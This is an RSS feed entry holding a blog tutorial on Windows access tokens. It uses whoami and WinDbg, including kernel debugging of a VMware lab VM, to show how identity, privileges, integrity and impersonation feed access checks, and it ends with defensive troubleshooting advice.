<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Chad Duffey</title>
    <description>Blue Team -&gt; Exploit Development &amp; things in-between
</description>
    <link>https://chadduffey.com/</link>
    <atom:link href="https://chadduffey.com/feed.xml" rel="self" type="application/rss+xml" />
    <pubDate>Mon, 04 May 2026 07:39:52 +0000</pubDate>
    <lastBuildDate>Mon, 04 May 2026 07:39:52 +0000</lastBuildDate>
    <generator>Jekyll v3.9.5</generator>
    
      <item>
        <title>Following an access token with WinDbg: what Windows sees when you ask for access</title>
        <description>&lt;p&gt;When a Windows access check fails, it is natural to start with the object being accessed.&lt;/p&gt;

&lt;p&gt;That is usually the right first move. The file, registry key, process, service, object path, ACL, and protection level can all be the answer. But they are only one side of the access check. Windows also needs a precise model of the caller. Who is asking? Which groups count? Which privileges are actually enabled? Is this a primary token or an impersonation token? What integrity level is this principal running at?&lt;/p&gt;

&lt;p&gt;One of the most useful objects in Windows security is the access token.&lt;/p&gt;

&lt;p&gt;This post uses WinDbg as a handle into that object. We are going to look at tokens from user mode and kernel mode, connect debugger output to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whoami&lt;/code&gt;, and use that to build a sturdier mental model for why Windows sometimes says yes and sometimes says no.&lt;/p&gt;

&lt;p&gt;A quick note before we start: access control discussions get vague fast, so I want to keep this grounded. The goal is for the important claims here to be things we can either observe directly in the lab or tie back to primary Microsoft documentation.&lt;/p&gt;

&lt;h1 id=&quot;what-a-token-actually-is&quot;&gt;What a token actually is&lt;/h1&gt;

&lt;p&gt;Microsoft documents an access token as an object that describes the security context of a process or thread. That phrasing is useful because it prevents two common mistakes.&lt;/p&gt;

&lt;p&gt;The first mistake is treating the &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/secauthz/access-tokens&quot;&gt;token&lt;/a&gt; as just an identity card. It does contain identity material, including the user SID and group SIDs, but it also carries privileges, a logon SID, an owner SID, the default DACL Windows can use when a thread creates a securable object without supplying a security descriptor, optional restricting SIDs, and information about whether the token is primary or impersonation.&lt;/p&gt;

&lt;p&gt;The second mistake is treating the token as the whole authorization decision. It is not. The token is the caller side of the picture. The target object’s security descriptor, any mandatory integrity label, and object-specific checks still matter. But the token is one of the main inputs Windows uses to decide what this caller can plausibly do.&lt;/p&gt;

&lt;p&gt;That makes it a great debugging object. If you want to understand why the same user can get different answers from two processes, or why a thread inside a server process can behave differently from the process default, the token is one of the first places worth looking.&lt;/p&gt;

&lt;h1 id=&quot;what-lives-in-a-token&quot;&gt;What lives in a token&lt;/h1&gt;

&lt;p&gt;Microsoft’s &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/secauthz/access-tokens&quot;&gt;Access tokens&lt;/a&gt; documentation lists the main ingredients:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;the SID for the user account&lt;/li&gt;
  &lt;li&gt;SIDs for the groups the user belongs to&lt;/li&gt;
  &lt;li&gt;a logon SID for the current logon session&lt;/li&gt;
  &lt;li&gt;the privileges held by the user or the user’s groups&lt;/li&gt;
  &lt;li&gt;an owner SID&lt;/li&gt;
  &lt;li&gt;a primary group SID&lt;/li&gt;
  &lt;li&gt;the default DACL the system can use when a thread creates a securable object without supplying a security descriptor&lt;/li&gt;
  &lt;li&gt;token source and statistics&lt;/li&gt;
  &lt;li&gt;whether the token is primary or impersonation&lt;/li&gt;
  &lt;li&gt;optional restricting SIDs&lt;/li&gt;
  &lt;li&gt;impersonation-level information&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is already enough to improve the usual “permissions” conversation.&lt;/p&gt;

&lt;p&gt;For example, if Windows is deciding whether to grant access to a file, registry key, process, section, or token object, the SIDs in the caller’s token matter because access control entries are matched against those SIDs. The SID attributes matter too: an enabled SID can match allow and deny ACEs, while a deny-only SID is used for deny checks but ignored for allow checks. If the system is deciding whether a caller can perform a privileged system operation, the privilege list in the token matters. If the question involves integrity, the integrity SID stored in the token matters there too, but in a separate mandatory access control step.&lt;/p&gt;

&lt;p&gt;So even before we open WinDbg, the token gives us a better way to frame the question:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;What security context is this process or thread actually presenting to the system right now?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1 id=&quot;lab-1-see-the-token-from-user-mode-first&quot;&gt;Lab 1: see the token from user mode first&lt;/h1&gt;

&lt;p&gt;Before dropping into the debugger, it helps to look at the same security context through ordinary tools.&lt;/p&gt;

&lt;p&gt;From a PowerShell prompt:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;whoami&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/user&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;whoami&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/groups&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;whoami&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/priv&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/windbg-token/whoami.png&quot; alt=&quot;whoami output for user, groups, and privileges&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is not a raw token dump, but it is a very useful first approximation.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whoami /user&lt;/code&gt; shows the user SID associated with your current logon context.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whoami /groups&lt;/code&gt; shows group SIDs and labels, including integrity labels such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Medium Mandatory Level&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;High Mandatory Level&lt;/code&gt;, depending on how the process was launched.&lt;/p&gt;

&lt;p&gt;As a tiny preview, those labels are part of Windows Mandatory Integrity Control. A normal unelevated desktop process usually runs at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Medium Mandatory Level&lt;/code&gt;. An elevated administrator process typically runs at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;High Mandatory Level&lt;/code&gt;. That does not mean “high can do anything,” but it does mean Windows is tracking more than just your user and group SIDs when it makes access decisions.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whoami /priv&lt;/code&gt; shows the privilege side of the token. Microsoft is explicit in its &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/secauthz/privileges&quot;&gt;Privileges&lt;/a&gt; documentation that privileges are not the same thing as access rights. Privileges govern system-related operations. Access rights govern access to securable objects.&lt;/p&gt;

&lt;p&gt;That distinction matters immediately. The output of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whoami /priv&lt;/code&gt; might show &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SeDebugPrivilege&lt;/code&gt;, but that does not mean a handle request against some target object will automatically succeed. It means the token contains that privilege, with a state such as enabled or disabled, and Windows may consult it in code paths where that privilege matters.&lt;/p&gt;

&lt;p&gt;This is a good place to establish a simple habit for the rest of the post:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;when we say “identity,” think user SID and group SIDs&lt;/li&gt;
  &lt;li&gt;when we say “capability,” think privileges&lt;/li&gt;
  &lt;li&gt;when we say “authorization decision,” remember that the token is only one side of the comparison&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;lab-2-look-at-the-token-in-live-user-mode-windbg&quot;&gt;Lab 2: look at the token in live user-mode WinDbg&lt;/h1&gt;

&lt;p&gt;The nice thing about this topic is that WinDbg can join the story early. We do not need to begin in kernel mode.&lt;/p&gt;

&lt;p&gt;Microsoft documents the &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debuggercmds/-token&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!token&lt;/code&gt;&lt;/a&gt; extension as available in both kernel mode and live user-mode debugging. It is not available for user-mode dump files. In live user mode, if you omit the handle or pass &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt;, WinDbg displays the token associated with the target thread.&lt;/p&gt;

&lt;p&gt;Start a simple target process such as Notepad or PowerShell, then attach to it with WinDbg.&lt;/p&gt;

&lt;p&gt;Once you break in, try:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;!token -n 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/windbg-token/windbg.png&quot; alt=&quot;WinDbg token output for the current thread&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In practice, this is handy when a process should be able to touch something but still gets denied. Instead of guessing, you can inspect the token directly and confirm what security context Windows is really evaluating.&lt;/p&gt;

&lt;p&gt;The exact output will vary by build and target, but the useful part is not any one field. The useful part is that the debugger can already surface the effective token context for the debuggee’s thread.&lt;/p&gt;

&lt;p&gt;That makes the rest of the post less abstract. The token is not just a concept from the Win32 API docs. It is part of the active security context of the thing you are debugging, and WinDbg can show it to you.&lt;/p&gt;

&lt;h1 id=&quot;lab-3-follow-the-token-from-eprocess&quot;&gt;Lab 3: follow the token from EPROCESS&lt;/h1&gt;

&lt;p&gt;For the next step, I am switching to a kernel debugger attached to a lab VM. Kernel debugging setup is much easier to recover from in a lab than on bare metal.&lt;/p&gt;

&lt;p&gt;If you want the quick VMware Workstation version:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;In the guest, open an elevated PowerShell or Command Prompt and enable serial kernel debugging:&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;bcdedit&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/debug&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bcdedit&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/dbgsettings&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;serial&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;debugport:1&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;baudrate:115200&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ol&gt;
  &lt;li&gt;In VMware Workstation, add a serial port:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Add&lt;/code&gt; -&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Serial Port&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;choose &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Output to named pipe&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;set a pipe name such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\\.\pipe\kd_Win11&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;This end is the server&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;The other end is an application&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;tick &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Connect at power on&lt;/code&gt; if available&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/windbg-token/serialport.png&quot; alt=&quot;VMware Workstation serial port named pipe settings&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The pipe name can be anything. I usually make it descriptive, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kd_Win11&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kd_lab&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Microsoft’s virtual-machine kernel-debugging docs use this same COM-over-named-pipe approach. They also note that when the debugger is running on the same host as the VM, WinDbg should connect to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\\.\pipe\PipeName&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;On the host, start WinDbg as Administrator. Then attach through the WinDbg UI with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;File&lt;/code&gt; -&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Kernel Debug&lt;/code&gt; -&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;COM&lt;/code&gt;, and point it at the same pipe name.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/windbg-token/windbg-attach.png&quot; alt=&quot;WinDbg kernel attach over a named pipe&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If you prefer the command line, the same VMware connection can be started with:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;windbg.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-k&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;com:pipe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;\\.\pipe\kd_Win11&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Microsoft’s general virtual-machine COM examples include &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;resets=0&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reconnect&lt;/code&gt;, but the parameter notes specifically say not to use those options for VMware because VMware preserves the pipe across restarts.&lt;/p&gt;

&lt;p&gt;Microsoft’s VM debugging docs recommend KDNET, and the KDNET docs describe network debugging as faster than serial. The catch is adapter support: the host can use any NIC, but the target must use a supported network adapter. In a VMware guest, a serial pipe is often the path of least resistance because it avoids having to care whether the chosen virtual NIC is one KDNET likes.&lt;/p&gt;

&lt;p&gt;In a kernel debugging session, use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!process&lt;/code&gt; to locate a target process. A calm target such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;notepad.exe&lt;/code&gt; is a good starting point because we are not trying to prove anything exotic yet.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;!process 0 1 notepad.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/windbg-token/token-address.png&quot; alt=&quot;WinDbg !process output showing the token address&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The important detail in the screenshot is that the address we want next is not the process address itself. It is the address of the token object, which &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!process&lt;/code&gt; shows in the process output after you target &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;notepad.exe&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;One debugger wrinkle: if you inspect the raw &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_EPROCESS.Token&lt;/code&gt; field yourself with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dt&lt;/code&gt;, that field is not always presented as a plain pointer. On current Windows it is an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_EX_FAST_REF&lt;/code&gt;, which uses low bits for reference-count state. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!process&lt;/code&gt; output is the easier path here because it gives you the token address in the form &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!token&lt;/code&gt; expects.&lt;/p&gt;

&lt;p&gt;Microsoft’s &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debuggercmds/-process&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!process&lt;/code&gt;&lt;/a&gt; documentation shows that the debugger can display the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EPROCESS&lt;/code&gt; block for a process, including a token pointer. That is the bridge we want.&lt;/p&gt;

&lt;p&gt;Once you have the token address, feed it into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!token&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;!token &amp;lt;TokenAddress&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, if you want to go one layer deeper:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dt nt!_TOKEN &amp;lt;TokenAddress&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The useful distinction here is that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!process&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!token&lt;/code&gt; are answering different questions. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!process&lt;/code&gt; shows you the process object and gives you the token pointer hanging off it. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!token&lt;/code&gt; then lets you inspect the token itself as a security object.&lt;/p&gt;

&lt;p&gt;That matters because the token is not just a user-mode abstraction returned by Win32 APIs. In kernel debugging, you can see that it is real process state referenced by the process object.&lt;/p&gt;

&lt;p&gt;If you go one step further with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dt nt!_TOKEN&lt;/code&gt;, you can also see why symbol-guided inspection matters. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_TOKEN&lt;/code&gt; is a real structure, but it is not something you should treat as stable by offset across builds. The safer habit is to let symbols tell you what the structure looks like on the system in front of you.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!process&lt;/code&gt; tells you where the token lives. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!token&lt;/code&gt; tells you what security context it carries.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1 id=&quot;primary-token-versus-impersonation-token&quot;&gt;Primary token versus impersonation token&lt;/h1&gt;

&lt;p&gt;One of the most important distinctions in this area is the difference between a primary token and an impersonation token.&lt;/p&gt;

&lt;p&gt;Every process has a primary token. If a thread is not impersonating, that primary token is the security context Windows uses for access checks involving that thread.&lt;/p&gt;

&lt;p&gt;A thread can also carry an impersonation token. Microsoft’s &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/secauthz/access-tokens&quot;&gt;Access tokens&lt;/a&gt; and &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/driversecurity/windows-security-model&quot;&gt;Windows security model&lt;/a&gt; documentation describe this as the mechanism that lets a server thread act in the security context of a client.&lt;/p&gt;

&lt;p&gt;That matters because “what token does this process have?” is not always the full answer. Sometimes the more precise question is “what token is this thread using right now?”&lt;/p&gt;

&lt;p&gt;For a lot of desktop troubleshooting, the process primary token is enough to explain what you are seeing. But in service code, RPC paths, named-pipe servers, web back ends, and other code that can act on behalf of another caller, the thread’s impersonation token may be the thing Windows actually uses for the access check.&lt;/p&gt;

&lt;p&gt;The practical takeaway is that the process token tells you the default security context, but the thread token may explain the access check you are actually debugging. If a server-side component is acting on behalf of a caller, check whether the thread is impersonating before you assume the process token tells the whole story.&lt;/p&gt;

&lt;h1 id=&quot;privileges-are-not-access-rights&quot;&gt;Privileges are not access rights&lt;/h1&gt;

&lt;p&gt;This distinction is worth keeping separate, because Windows discussions blur it constantly.&lt;/p&gt;

&lt;p&gt;Microsoft’s documentation defines a privilege as the right to perform a system-related operation on the local computer, such as loading a driver or changing the system time. It separately defines access rights as rights checked against a securable object’s security descriptor.&lt;/p&gt;

&lt;p&gt;That gives us a cleaner way to talk about common APIs:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OpenProcessToken&lt;/code&gt; opens the primary token of a process&lt;/li&gt;
  &lt;li&gt;the process handle passed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OpenProcessToken&lt;/code&gt; must have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROCESS_QUERY_LIMITED_INFORMATION&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;the requested token access is checked against the token object’s DACL&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetTokenInformation&lt;/code&gt; requires &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TOKEN_QUERY&lt;/code&gt; for token information classes other than &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TokenSource&lt;/code&gt;, which requires &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TOKEN_QUERY_SOURCE&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In other words, even when we are “just querying the token,” there are multiple access checks in play:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;can we open or already hold a process handle with the required process rights?&lt;/li&gt;
  &lt;li&gt;can we open the token with the desired token rights?&lt;/li&gt;
  &lt;li&gt;do we then ask for token information that our granted token handle actually permits?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;On an ordinary system, an elevated administrator can often inspect the tokens of many normal processes. But that is not something to assume universally. The process-handle check still matters, the token object has its own access control, and newer boundaries such as protected processes can still change the outcome.&lt;/p&gt;

&lt;p&gt;That is a better model than “admin can just read the token.”&lt;/p&gt;

&lt;h1 id=&quot;integrity-is-in-the-token-but-it-is-not-the-whole-story-either&quot;&gt;Integrity is in the token, but it is not the whole story either&lt;/h1&gt;

&lt;p&gt;The token does not just carry identity and privileges. It also carries integrity information, and that matters during access checks.&lt;/p&gt;

&lt;p&gt;Microsoft’s &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control&quot;&gt;Mandatory Integrity Control&lt;/a&gt; documentation explains that the integrity SID for a security principal is stored in its access token. Securable objects can also carry an integrity label, stored in the object’s SACL as a mandatory label ACE.&lt;/p&gt;

&lt;p&gt;The practical effect is straightforward: Windows evaluates Mandatory Integrity Control before it evaluates the ordinary allow-or-deny question in the DACL. By default, objects are created with a mandatory label policy of “no write up.” A low-integrity process cannot write to a medium-integrity object even if the DACL would otherwise allow it. Objects without an integrity label are treated as medium integrity by the operating system. Tokens also have a mandatory policy, which can be queried with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetTokenInformation&lt;/code&gt; using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TokenMandatoryPolicy&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That is why integrity labels in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whoami /groups&lt;/code&gt; are worth noticing. They are not decorative. They are part of the security context Windows may use when deciding whether this process gets to modify something.&lt;/p&gt;

&lt;h1 id=&quot;why-attackers-care-about-tokens&quot;&gt;Why attackers care about tokens&lt;/h1&gt;

&lt;p&gt;Access tokens obviously aren’t just a debugging convenience—they’re fundamental to authorization. Windows uses them as part of its access check to determine whether a caller is allowed the requested operation.&lt;/p&gt;

&lt;p&gt;Microsoft’s access-check documentation explains that the system compares the requested access against the security descriptor for the target object, using the caller’s access token as the subject context. It also calls out the impersonation case: if the thread is impersonating another user, the system uses the thread’s impersonation token.&lt;/p&gt;

&lt;p&gt;That is the concrete reason attackers care. The token is not just a label attached to a process. It is caller-side state that can influence many later decisions: which SIDs are considered, which privileges are present and enabled, which integrity level applies, and whether the thread is acting as itself or impersonating someone else.&lt;/p&gt;

&lt;p&gt;In the normal user-mode path, Windows puts gates in front of that state. Opening a process token requires an appropriate process handle. Opening a token with the desired token access rights is checked against the token object’s DACL. Enabling a privilege requires the privilege to already exist in the token. Impersonation has its own rules and handle requirements. Those checks are the point.&lt;/p&gt;

&lt;p&gt;Kernel compromise changes the problem. Microsoft’s vulnerable driver blocklist documentation describes drivers that attackers can exploit to elevate privileges in the Windows kernel or circumvent the Windows security model. If a vulnerable driver gives an attacker arbitrary kernel read/write, the attacker may not need to succeed through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OpenProcessToken&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OpenThreadToken&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AdjustTokenPrivileges&lt;/code&gt; at all. They may be able to tamper with the underlying process or thread security state directly.&lt;/p&gt;

&lt;p&gt;Conceptually, token abuse usually comes down to changing what security context future checks will see. That might mean making a process or thread present a more privileged token, or changing token-related state so later checks see different SIDs, privileges, or integrity information than they should. The exact mechanics are build-dependent, unsupported, and easy to get wrong; the important point for this post is the model.&lt;/p&gt;

&lt;p&gt;From a WinDbg point of view, the earlier &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!process&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!token&lt;/code&gt; work is not just trivia. It shows the relationship a defender or attacker would both care about: the process has a primary token, a thread may have an impersonation token, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!token&lt;/code&gt; lets you inspect the security context Windows is going to reason over.&lt;/p&gt;

&lt;p&gt;That gives us a useful defensive habit. If a process has access that does not make sense, do not stop at the process name or executable path. Look at the token. Look for the user SID, enabled groups, deny-only groups, enabled privileges, integrity level, and impersonation state. A strange token does not automatically prove compromise, but it is one of the places where the real explanation may be hiding.&lt;/p&gt;

&lt;h1 id=&quot;closing-thought&quot;&gt;Closing thought&lt;/h1&gt;

&lt;p&gt;When a Windows access problem looks strange, it is natural to start with the target object: the file, the registry key, the process, the ACL. That is still necessary, but it is only half the story.&lt;/p&gt;

&lt;p&gt;The token is the caller side of the story. It tells you who Windows thinks is asking, which groups and privileges are in play, whether integrity might matter, and whether a thread might be impersonating a different caller.&lt;/p&gt;

&lt;p&gt;Once you can inspect that in WinDbg, access checks stop feeling like a black box. They become something you can reason about, one object at a time.&lt;/p&gt;

&lt;p&gt;Thank you for sticking with this one. It is longer and messier than the tidy version I imagined when I decided to refresh on this topic, but that is honestly how this subject feels to me most of the time: follow one object or idea, find three more, test something, fix part of the model, and end up somewhere useful even if it was not quite where I expected.&lt;/p&gt;

&lt;h1 id=&quot;sources-worth-keeping-open&quot;&gt;Sources worth keeping open&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/secauthz/access-tokens&quot;&gt;Access tokens&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/secauthz/impersonation-tokens&quot;&gt;Impersonation Tokens&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-attributes-in-an-access-token&quot;&gt;SID Attributes in an Access Token&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken&quot;&gt;OpenProcessToken&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-gettokeninformation&quot;&gt;GetTokenInformation&lt;/a&gt;&lt;/li&gt;
